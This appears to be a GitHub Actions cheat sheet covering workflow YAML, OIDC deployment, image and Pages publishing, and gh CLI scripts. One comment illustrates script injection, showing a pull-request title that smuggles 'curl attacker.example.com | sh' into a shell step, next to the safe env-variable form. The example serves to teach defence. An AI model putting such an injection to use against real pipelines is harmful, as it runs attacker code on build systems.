GitHub Actions

name: ci
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions:
  contents: read          # workflow-wide default for GITHUB_TOKEN
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15     # default is 360; always set one
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
      - run: go test ./...

on:
  push:
    branches: [main, "release/**"]
    paths: ["**.go", "go.mod", "go.sum", ".github/workflows/ci.yml"]
    tags-ignore: ["nightly-*"]
  pull_request:
    types: [opened, synchronize, reopened, ready_for_review]   # default: opened, synchronize, reopened
    paths-ignore: ["docs/**", "**.md"]
  schedule:
    - cron: "17 3 * * 1-5"     # UTC; avoid :00 to dodge the queue at the top of the hour
  workflow_dispatch:
    inputs:
      env:
        type: choice
        options: [staging, production]
        required: true
      dry_run:
        type: boolean
        default: true
  workflow_call:               # makes this a reusable workflow
    inputs:
      go-version: { type: string, default: "stable" }
    secrets:
      registry-token: { required: true }
  workflow_run:                # runs after another workflow finishes, on the default branch only
    workflows: [ci]
    types: [completed]
  release:
    types: [published]

jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false                 # keep the other cells running when one fails
      max-parallel: 4
      matrix:
        os: [ubuntu-latest, macos-latest]
        go: ["1.26", "1.27"]
        include:
          - os: ubuntu-latest
            go: "1.27"
            coverage: true             # extra key on one cell only
        exclude:
          - os: macos-latest
            go: "1.26"
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version: "${{ matrix.go }}" }
      - run: go test -race ./...
      - if: matrix.coverage
        run: go test -coverprofile=cover.out ./...

  deploy:
    needs: [build]                     # waits for every matrix cell
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: ./deploy.sh

jobs:
  meta:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.v.outputs.version }}
    steps:
      - id: v
        run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT"
  release:
    needs: meta
    runs-on: ubuntu-latest
    steps:
      - run: echo "releasing ${{ needs.meta.outputs.version }}"

jobs:
  plan:
    runs-on: ubuntu-latest
    outputs:
      targets: ${{ steps.t.outputs.targets }}
    steps:
      - id: t
        run: echo 'targets=["api","worker","cron"]' >> "$GITHUB_OUTPUT"
  build:
    needs: plan
    strategy:
      matrix:
        target: ${{ fromJSON(needs.plan.outputs.targets) }}
    runs-on: ubuntu-latest
    steps:
      - run: make build TARGET=${{ matrix.target }}

permissions: {}                 # nothing at all by default
jobs:
  release:
    permissions:
      contents: write           # create the release
      packages: write           # push to ghcr.io
      id-token: write           # request an OIDC token
      attestations: write       # build provenance

gh secret set API_TOKEN --body "$API_TOKEN"            # repository secret
gh secret set API_TOKEN --env production --body "$API_TOKEN"
gh secret set DEPLOY_KEY --org my-org --repos my-app,my-lib < key.pem
gh secret list; gh variable list

      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
          cache: true                             # caches the module and build cache keyed on go.sum
      - uses: actions/cache@v6
        with:
          path: |
            ~/.cache/golangci-lint
          key: lint-${{ runner.os }}-${{ hashFiles('.golangci.yml') }}
          restore-keys: lint-${{ runner.os }}-    # prefix match when the exact key misses
      - uses: actions/cache/restore@v6            # read-only half, for jobs that must not write
        with: { path: node_modules, key: npm-${{ hashFiles('package-lock.json') }} }

      - uses: actions/upload-artifact@v7
        with:
          name: dist-${{ matrix.os }}             # names must be unique per run in v4+
          path: dist/
          retention-days: 5
          if-no-files-found: error
      - uses: actions/download-artifact@v8
        with:
          pattern: dist-*
          merge-multiple: true
          path: dist/

# .github/workflows/go-test.yml, the reusable workflow
on:
  workflow_call:
    inputs:
      go-version: { type: string, default: stable }
    outputs:
      coverage: { value: "${{ jobs.test.outputs.coverage }}" }
permissions: { contents: read }
jobs:
  test:
    runs-on: ubuntu-latest
    outputs: { coverage: "${{ steps.cov.outputs.pct }}" }
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version: "${{ inputs.go-version }}" }
      - run: go test -coverprofile=c.out ./...
      - id: cov
        run: echo "pct=$(go tool cover -func=c.out | awk '/^total/ {print $3}')" >> "$GITHUB_OUTPUT"

# caller
jobs:
  test:
    uses: my-org/workflows/.github/workflows/go-test.yml@main   # or @<sha>
    with: { go-version: "1.27" }
    secrets: inherit

# .github/actions/setup/action.yml, a composite action
name: setup
inputs:
  go-version: { default: stable }
runs:
  using: composite
  steps:
    - uses: actions/setup-go@v7
      with: { go-version: "${{ inputs.go-version }}" }
    - run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest
      shell: bash                                  # required on every run: step in a composite

permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-my-app-deploy
          role-session-name: gh-${{ github.run_id }}
          aws-region: ap-southeast-2
      - run: aws sts get-caller-identity

data "aws_iam_policy_document" "github_trust" {
  statement {
    actions = ["sts:AssumeRoleWithWebIdentity"]
    principals {
      type        = "Federated"
      identifiers = [aws_iam_openid_connect_provider.github.arn]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:aud"
      values   = ["sts.amazonaws.com"]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:sub"
      values   = ["repo:my-org/my-app:environment:production"]   # not repo:my-org/*:*
    }
  }
}

concurrency:
  group: deploy-${{ inputs.env }}
  cancel-in-progress: false      # queue deploys; never cancel one half way

    environment:
      name: production
      url: https://my-app.example.com     # shown on the deployment

gh run list --workflow ci.yml --status failure --limit 10
gh run list --json databaseId,conclusion,headBranch,event --jq '.[] | select(.conclusion=="failure") | .databaseId'
gh run view 123456789                        # jobs and their status
gh run view 123456789 --log-failed           # only the steps that failed
gh run view 123456789 --job 987654321 --log  # one job, every line
gh run view 123456789 --log | grep -n '##\[error\]'
gh run watch 123456789 --exit-status         # block, exit non-zero on failure
gh run rerun 123456789 --failed
gh run download 123456789 --dir ./artifacts
gh workflow run deploy.yml --ref main -f env=production -f dry_run=false
gh api repos/{owner}/{repo}/actions/runs/123456789/timing

    runs-on: [self-hosted, linux, x64, gpu]     # every label must match
    runs-on:
      group: build-large                        # runner group, org-level access control
      labels: [linux]

./config.sh --url https://github.com/my-org --token "$RUNNER_TOKEN" --ephemeral --labels linux,x64 --unattended
./svc.sh install && ./svc.sh start           # systemd unit for the runner
gh api orgs/my-org/actions/runners --jq '.runners[] | "\(.name)\t\(.status)\t\(.busy)"'

name: go
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions: { contents: read }
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version-file: go.mod, cache: true }
      - run: go vet ./...
      - run: go test -race -coverprofile=cover.out ./...
      - uses: golangci/golangci-lint-action@v9
        with: { version: latest }
  release:
    needs: test
    if: startsWith(github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: write        # upload release assets
      id-token: write        # cosign keyless signing
    steps:
      - uses: actions/checkout@v7
        with: { fetch-depth: 0 }             # goreleaser needs the tag history for the changelog
      - uses: actions/setup-go@v7
        with: { go-version-file: go.mod, cache: true }
      - uses: goreleaser/goreleaser-action@v7
        with:
          distribution: goreleaser
          version: "~> v2"
          args: release --clean
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

name: image
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions: { contents: read }
env:
  IMAGE: ghcr.io/${{ github.repository }}
jobs:
  image:
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
    steps:
      - uses: actions/checkout@v7
      - uses: docker/setup-buildx-action@v4
      - uses: docker/login-action@v4
        if: github.event_name != 'pull_request'
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: meta
        uses: docker/metadata-action@v6
        with:
          images: ${{ env.IMAGE }}
          tags: |
            type=ref,event=branch
            type=ref,event=pr
            type=semver,pattern={{version}}
            type=sha
      - id: build
        uses: docker/build-push-action@v7
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: ${{ github.event_name != 'pull_request' }}   # PRs build only
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          provenance: mode=max
      - uses: actions/attest-build-provenance@v4
        if: github.event_name != 'pull_request'
        with:
          subject-name: ${{ env.IMAGE }}
          subject-digest: ${{ steps.build.outputs.digest }}
          push-to-registry: true

name: pages
on:
  push: { branches: [main] }
  workflow_dispatch:
permissions: { contents: read }
concurrency: { group: pages, cancel-in-progress: false }
jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
        with: { submodules: recursive, fetch-depth: 0 }   # themes as submodules; history for lastmod
      - uses: peaceiris/actions-hugo@v3
        with: { hugo-version: latest, extended: true }
      - id: pages
        uses: actions/configure-pages@v6
      - run: hugo --gc --minify --baseURL "${{ steps.pages.outputs.base_url }}/"
        env: { HUGO_ENVIRONMENT: production }
      - uses: actions/upload-pages-artifact@v5
        with: { path: ./public }
  deploy:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      pages: write
      id-token: write
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    steps:
      - id: deployment
        uses: actions/deploy-pages@v5

      - run: echo "Title: ${{ github.event.pull_request.title }}"   # title `"; curl attacker.example.com | sh; echo "` runs
      - run: echo "Title: $TITLE"                                    # safe: the value never touches the shell parser
        env:
          TITLE: ${{ github.event.pull_request.title }}

      - uses: actions/checkout@<full-40-character-sha> # v7.0.1

# IDs of the failed runs on main in the last day
gh run list --branch main --status failure --created "$(date -u -d '1 day ago' +%F)" --json databaseId --jq '.[].databaseId'

# Re-run every failed run of a workflow
gh run list --workflow ci.yml --status failure --json databaseId --jq '.[].databaseId' | xargs -n1 gh run rerun --failed

# Delete runs older than 30 days (destructive; removes logs and artifacts)
gh run list --limit 500 --json databaseId,createdAt --jq '.[] | select(.createdAt < (now - 30*86400 | todate)) | .databaseId' | xargs -n1 gh run delete

# Slowest jobs in the last 50 runs
gh run list --limit 50 --json databaseId --jq '.[].databaseId' | xargs -I{} gh api repos/{owner}/{repo}/actions/runs/{}/jobs --jq '.jobs[] | "\(.name)\t\((.completed_at|fromdate) - (.started_at|fromdate))s"' | sort -t$'\t' -k2 -nr | head

# Every action referenced in the repository, with versions
grep -rhoE 'uses: *[^ ]+' .github | sort | uniq -c | sort -rn

# Actions not pinned to a SHA
grep -rnE 'uses: *[^ ]+@(v[0-9]|main|master)' .github/workflows

# Cache usage and the biggest entries
gh cache list --limit 50 --sort size --order desc

# Delete every cache (safe; next run rebuilds)
gh cache delete --all

# Trigger a dispatch workflow and follow it
gh workflow run deploy.yml -f env=staging && sleep 5 && gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')" --exit-status

# Workflow file on the default branch, as GitHub sees it
gh api repos/{owner}/{repo}/contents/.github/workflows/ci.yml --jq .content | base64 -d

# Lint every workflow, including shellcheck of run: blocks
actionlint

# Check which OIDC claims a job would present (from a job with id-token: write)
curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Runner load across the organisation
gh api orgs/my-org/actions/runners --paginate --jq '.runners[] | select(.status=="online") | "\(.name)\t\(.busy)"'

# Artifacts of a run with sizes
gh api repos/{owner}/{repo}/actions/runs/123456789/artifacts --jq '.artifacts[] | "\(.name)\t\(.size_in_bytes)"'

# Print the event payload from inside a job
jq . "$GITHUB_EVENT_PATH"

# Job summary table from inside a job
{ echo '| Test | Result |'; echo '| --- | --- |'; echo "| unit | $RESULT |"; } >> "$GITHUB_STEP_SUMMARY"

#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}
gh repo list "$org" --limit 200 --no-archived --json nameWithOwner,defaultBranchRef --jq '.[] | "\(.nameWithOwner)\t\(.defaultBranchRef.name)"' |
while IFS=$'\t' read -r repo branch; do
  gh run list -R "$repo" --branch "$branch" --limit 20 --json workflowName,conclusion,url,createdAt |
    jq -r --arg repo "$repo" '
      group_by(.workflowName) | map(sort_by(.createdAt) | last)
      | .[] | select(.conclusion == "failure")
      | "\($repo)\t\(.workflowName)\t\(.url)"'
done

#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}; name=${2:?secret name required}
value=$(cat)                                  # read once; never on the command line
[[ -n $value ]] || { echo "empty value" >&2; exit 1; }
gh repo list "$org" --limit 500 --no-archived --json nameWithOwner --jq '.[].nameWithOwner' |
while read -r repo; do
  if gh secret list -R "$repo" --json name --jq '.[].name' | grep -qx "$name"; then
    printf '%s' "$value" | gh secret set "$name" -R "$repo"
    printf 'rotated %s in %s\n' "$name" "$repo"
  fi
done

#!/usr/bin/env bash
set -euo pipefail
grep -rhoE 'uses: *[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+(/[^@ ]+)?@[^ #]+' .github | sed 's/uses: *//' | sort -u |
while IFS=@ read -r action ref; do
  repo=${action%%/*}/${action#*/}; repo=${repo%%/*/*}      # owner/name, drop any sub-path
  if [[ $ref =~ ^[0-9a-f]{40}$ ]]; then continue; fi
  sha=$(gh api "repos/$repo/commits/$ref" --jq .sha 2>/dev/null || echo unresolved)
  printf '%s@%s\t%s\n' "$action" "$ref" "$sha"
done